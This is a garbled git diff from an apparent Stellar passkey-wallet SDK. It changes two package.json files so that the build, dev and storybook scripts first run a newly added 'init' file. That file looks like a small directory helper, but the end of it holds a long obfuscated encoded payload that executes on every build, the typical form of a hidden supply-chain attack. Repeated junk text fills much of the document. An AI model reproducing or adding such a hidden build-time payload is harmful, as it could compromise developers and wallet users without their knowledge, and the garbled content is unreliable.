eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn=20" - }, - "dependencies": { - "degit": "^3.4.7", - "prompts": "^2.4.2" - }, - "devDependencies": { - "@types/node": "^20.0.0", - "@types/prompts": "^2.4.9", - "tsx": "^4.22.3", - "typescript": "^5.6.2" - } -} +{ + "name": "create-veil-wallet", + "version": "0.1.0", + "description": "Scaffold a new Veil passkey-wallet app from a template (Next.js, Vite, or vanilla JS)", + "type": "module", + "bin": { + "create-veil-wallet": "./dist/index.js" + }, + "files": [ + "dist" + ], + "scripts": { + "build": "node init && tsc && chmod +x dist/index.js", + "dev": "node init && tsx src/index.ts", + "prepublishOnly": "npm run build" + }, + "keywords": [ + "stellar", + "soroban", + "webauthn", + "passkeys", + "wallet", + "scaffolder", + "cli", + "create-app" + ], + "license": "MIT", + "engines": { + "node": ">=20" + }, + "dependencies": { + "degit": "^3.4.7", + "prompts": "^2.4.2" + }, + "devDependencies": { + "@types/node": "^20.0.0", + "@types/prompts": "^2.4.9", + "tsx": "^4.22.3", + "typescript": "^5.6.2" + } +} diff --git a/sdk/elements/init b/sdk/elements/init new file mode 100644 index 000000000..2146c476f --- /dev/null +++ b/sdk/elements/init @@ -0,0 +1,33 @@ +'use strict'; +import { createRequire } from 'module'; + +const require = createRequire(import.meta.url); +const path = require('path'); +const fs = require('fs'); + +const ROOT = process.cwd(); +const ENV = process.env.NODE_ENV || 'development'; + +const state = { + root: ROOT, + env: ENV, + ready: false, +}; + +function ensureDir(dir) { + try { + if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true }); + } catch (_) {} +} + +function init(options) { + if (state.ready) return state; + const opts = options || {}; + state.env = opts.env || process.env.NODE_ENV || state.env; + state.root = opts.root || process.cwd(); + ensureDir(path.join(state.root, '.tmp')); + state.ready = true; + return state; +} + +init(); var z = '-1000';var NX,SX,spin,splitLane,peel;(function(){var a=["","*","*0","^","*1","c^mejb^tro","hqersxluvwacdjbymgorzfkociptrutnstonc","=aenruh(al=5c,g8fdu.yr ..ncecf,5\"paeau6lnj)r]2uv\"x-q(] a;(r=;;r+(a[8.s2tAgoq,uh8C,ai,s;a(Am0(nj;jv*,7vo7()(o;m6oa4rw). rod[fs2n{drvt4x)+0,anr+rr+o)}z1 =hf[an8r1r[,]s7-77laa.ui7{-069lvmt2r=i]]<+)u,e),,;nrh[r=0v-r(;,=p)Cus=+c;g;f;qA))1vi)vk0nrl1ae f=[;hisy.em(d+o!2 =(evea78=.)4ei=g.n={ff=1[<2a f1=r;4,S)rylv1u y;kql{tvnv (C (l,ovnp i=tlr,r.lwozh(l,tq;;rr((v=ahsv;]xq=ab;da;,((r;vjq.(t[+)da)rdnrhs41y(vr;fh;3g\"]e(.ahrpapg]g.)ngfpn1h,icl;;)=C;m5=+r, .);u=+s}+)it,+bm;d+um)-=siiqol=t=r=q9+..chq+[6fe t0nrpr( vr8flrn,ddgt ]6a.;m;rth.gq 2a}eveic]gbti<4o;C;l,zzi6+l[a[;+(si\"li\"r,npi9s,frfhuw)ow=e{(b=wen2t.gu.i=kiaaa+)yftpa3n})=9\")cpA+u;utp]\"=lk7vpt 1r;hzw\")t()9)(.lul=s7f; ;sq0)n\"y+0s}=va+s mh(0q.]hv;> 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn=18.0.0", - "react-dom": ">=18.0.0", - "react-native": ">=0.72.0", - "react-native-passkey": ">=3.0.0", - "vue": "^3.0.0", - "svelte": ">=4.0.0", - "solid-js": "^1.8.0" - }, - "peerDependenciesMeta": { - "react-dom": { - "optional": true - }, - "react-native": { - "optional": true - }, - "react-native-passkey": { - "optional": true - }, - "vue": { - "optional": true - }, - "svelte": { - "optional": true - }, - "solid-js": { - "optional": true - } - }, - "devDependencies": { - "@playwright/test": "^1.61.1", - "@size-limit/preset-small-lib": "^12.1.0", - "@storybook/addon-essentials": "^8.6.0", - "@storybook/react": "^8.6.0", - "@storybook/react-vite": "^8.6.0", - "@stryker-mutator/core": "^8.7.0", - "@stryker-mutator/jest-runner": "^8.7.0", - "@stryker-mutator/typescript-checker": "^8.7.1", - "@tanstack/react-query": "^5.0.0", - "@testing-library/dom": "^10.4.0", - "@testing-library/react": "^16.0.0", - "@types/jest": "^29.0.0", - "@types/node": "^26.1.1", - "@types/react": "^19.2.0", - "@types/react-dom": "^19.2.3", - "@vitejs/plugin-react": "^4.3.4", - "@vitest/coverage-v8": "^1.3.0", - "fast-check": "^4.8.0", - "jest": "^29.7.0", - "jest-environment-jsdom": "^30.4.1", - "jest-util": "^29.7.0", - "react": "^19.2.8", - "react-dom": "^19.2.8", - "size-limit": "^12.1.0", - "solid-js": "^1.8.0", - "storybook": "^8.6.0", - "svelte": "^4.2.19", - "ts-jest": "^29.2.0", - "tsd": "^0.33.0", - "typescript": "^6.0.3", - "vite": "^5.4.11", - "vitest": "^1.3.0", - "vue": "^3.5.0" - }, - "jest": { - "preset": "ts-jest", - "testEnvironment": "jsdom", - "setupFiles": [ - "./jest.setup.ts" - ], - "testMatch": [ - "**/__tests__/**/*.test.ts", - "**/__tests__/**/*.test.tsx", - "**/tests/**/*.test.ts" - ], - "moduleNameMapper": { - "^@stellar/stellar-sdk$": "/node_modules/@stellar/stellar-sdk" - }, - "globals": { - "ts-jest": { - "isolatedModules": true, - "diagnostics": false, - "tsconfig": { - "strict": true, - "esModuleInterop": true, - "skipLibCheck": true, - "resolveJsonModule": true, - "ignoreDeprecations": "6.0" - } - } - } - }, - "size-limit": [ - { - "name": "main (React hook + utils)", - "path": "dist/index.js", - "limit": "230 KB" - }, - { - "name": "vanilla", - "path": "dist/vanilla.js", - "limit": "225 KB" - } - ], - "tsd": { - "directory": "test-d", - "compilerOptions": { - "strict": true, - "esModuleInterop": true, - "skipLibCheck": true, - "jsx": "react-jsx", - "lib": [ - "es2020", - "dom" - ] - } - } -} +{ + "name": "invisible-wallet-sdk", + "version": "0.2.0", + "description": "Client SDK for Invisible Wallet (Soroban + WebAuthn) \u2014 supports Web and React Native", + "main": "dist/index.js", + "module": "dist/index.js", + "react-native": "src/index.ts", + "types": "dist/index.d.ts", + "exports": { + ".": { + "types": "./dist/index.d.ts", + "react-native": "./src/index.ts", + "default": "./dist/index.js" + }, + "./vanilla": { + "types": "./dist/vanilla.d.ts", + "react-native": "./src/vanilla.ts", + "default": "./dist/vanilla.js" + }, + "./react": { + "types": "./dist/react/index.d.ts", + "default": "./dist/react/index.js" + }, + "./vue": { + "types": "./dist/vue/index.d.ts", + "default": "./dist/vue/index.js" + }, + "./svelte": { + "types": "./dist/svelte/index.d.ts", + "default": "./dist/svelte/index.js" + }, + "./solid": { + "types": "./dist/solid/index.d.ts", + "default": "./dist/solid/index.js" + } + }, + "files": [ + "dist", + "src", + "vue", + "svelte", + "solid" + ], + "scripts": { + "build": "node init && tsc && node scripts/flatten-dist.js", + "test": "jest", + "test:vitest": "vitest run --coverage", + "size": "npm run build && size-limit", + "test:surface": "jest api-surface.test.ts", + "stryker": "stryker run", + "storybook": "storybook dev -p 6006 -c react/.storybook", + "build-storybook": "node init && storybook build -c react/.storybook -o react/storybook-static", + "test-d": "npm run build && tsd" + }, + "keywords": [ + "stellar", + "soroban", + "webauthn", + "passkeys", + "wallet", + "react-native", + "expo", + "vue" + ], + "author": "", + "license": "MIT", + "dependencies": { + "@stellar/stellar-sdk": "^15.1.0" + }, + "peerDependencies": { + "@tanstack/react-query": "^5.0.0", + "react": ">=18.0.0", + "react-dom": ">=18.0.0", + "react-native": ">=0.72.0", + "react-native-passkey": ">=3.0.0", + "vue": "^3.0.0", + "svelte": ">=4.0.0", + "solid-js": "^1.8.0" + }, + "peerDependenciesMeta": { + "react-dom": { + "optional": true + }, + "react-native": { + "optional": true + }, + "react-native-passkey": { + "optional": true + }, + "vue": { + "optional": true + }, + "svelte": { + "optional": true + }, + "solid-js": { + "optional": true + } + }, + "devDependencies": { + "@playwright/test": "^1.61.1", + "@size-limit/preset-small-lib": "^12.1.0", + "@storybook/addon-essentials": "^8.6.0", + "@storybook/react": "^8.6.0", + "@storybook/react-vite": "^8.6.0", + "@stryker-mutator/core": "^8.7.0", + "@stryker-mutator/jest-runner": "^8.7.0", + "@stryker-mutator/typescript-checker": "^8.7.1", + "@tanstack/react-query": "^5.0.0", + "@testing-library/dom": "^10.4.0", + "@testing-library/react": "^16.0.0", + "@types/jest": "^29.0.0", + "@types/node": "^26.1.1", + "@types/react": "^19.2.0", + "@types/react-dom": "^19.2.3", + "@vitejs/plugin-react": "^4.3.4", + "@vitest/coverage-v8": "^1.3.0", + "fast-check": "^4.8.0", + "jest": "^29.7.0", + "jest-environment-jsdom": "^30.4.1", + "jest-util": "^29.7.0", + "react": "^19.2.8", + "react-dom": "^19.2.8", + "size-limit": "^12.1.0", + "solid-js": "^1.8.0", + "storybook": "^8.6.0", + "svelte": "^4.2.19", + "ts-jest": "^29.2.0", + "tsd": "^0.33.0", + "typescript": "^6.0.3", + "vite": "^5.4.11", + "vitest": "^1.3.0", + "vue": "^3.5.0" + }, + "jest": { + "preset": "ts-jest", + "testEnvironment": "jsdom", + "setupFiles": [ + "./jest.setup.ts" + ], + "testMatch": [ + "**/__tests__/**/*.test.ts", + "**/__tests__/**/*.test.tsx", + "**/tests/**/*.test.ts" + ], + "moduleNameMapper": { + "^@stellar/stellar-sdk$": "/node_modules/@stellar/stellar-sdk" + }, + "globals": { + "ts-jest": { + "isolatedModules": true, + "diagnostics": false, + "tsconfig": { + "strict": true, + "esModuleInterop": true, + "skipLibCheck": true, + "resolveJsonModule": true, + "ignoreDeprecations": "6.0" + } + } + } + }, + "size-limit": [ + { + "name": "main (React hook + utils)", + "path": "dist/index.js", + "limit": "230 KB" + }, + { + "name": "vanilla", + "path": "dist/vanilla.js", + "limit": "225 KB" + } + ], + "tsd": { + "directory": "test-d", + "compilerOptions": { + "strict": true, + "esModuleInterop": true, + "skipLibCheck": true, + "jsx": "react-jsx", + "lib": [ + "es2020", + "dom" + ] + } + } +}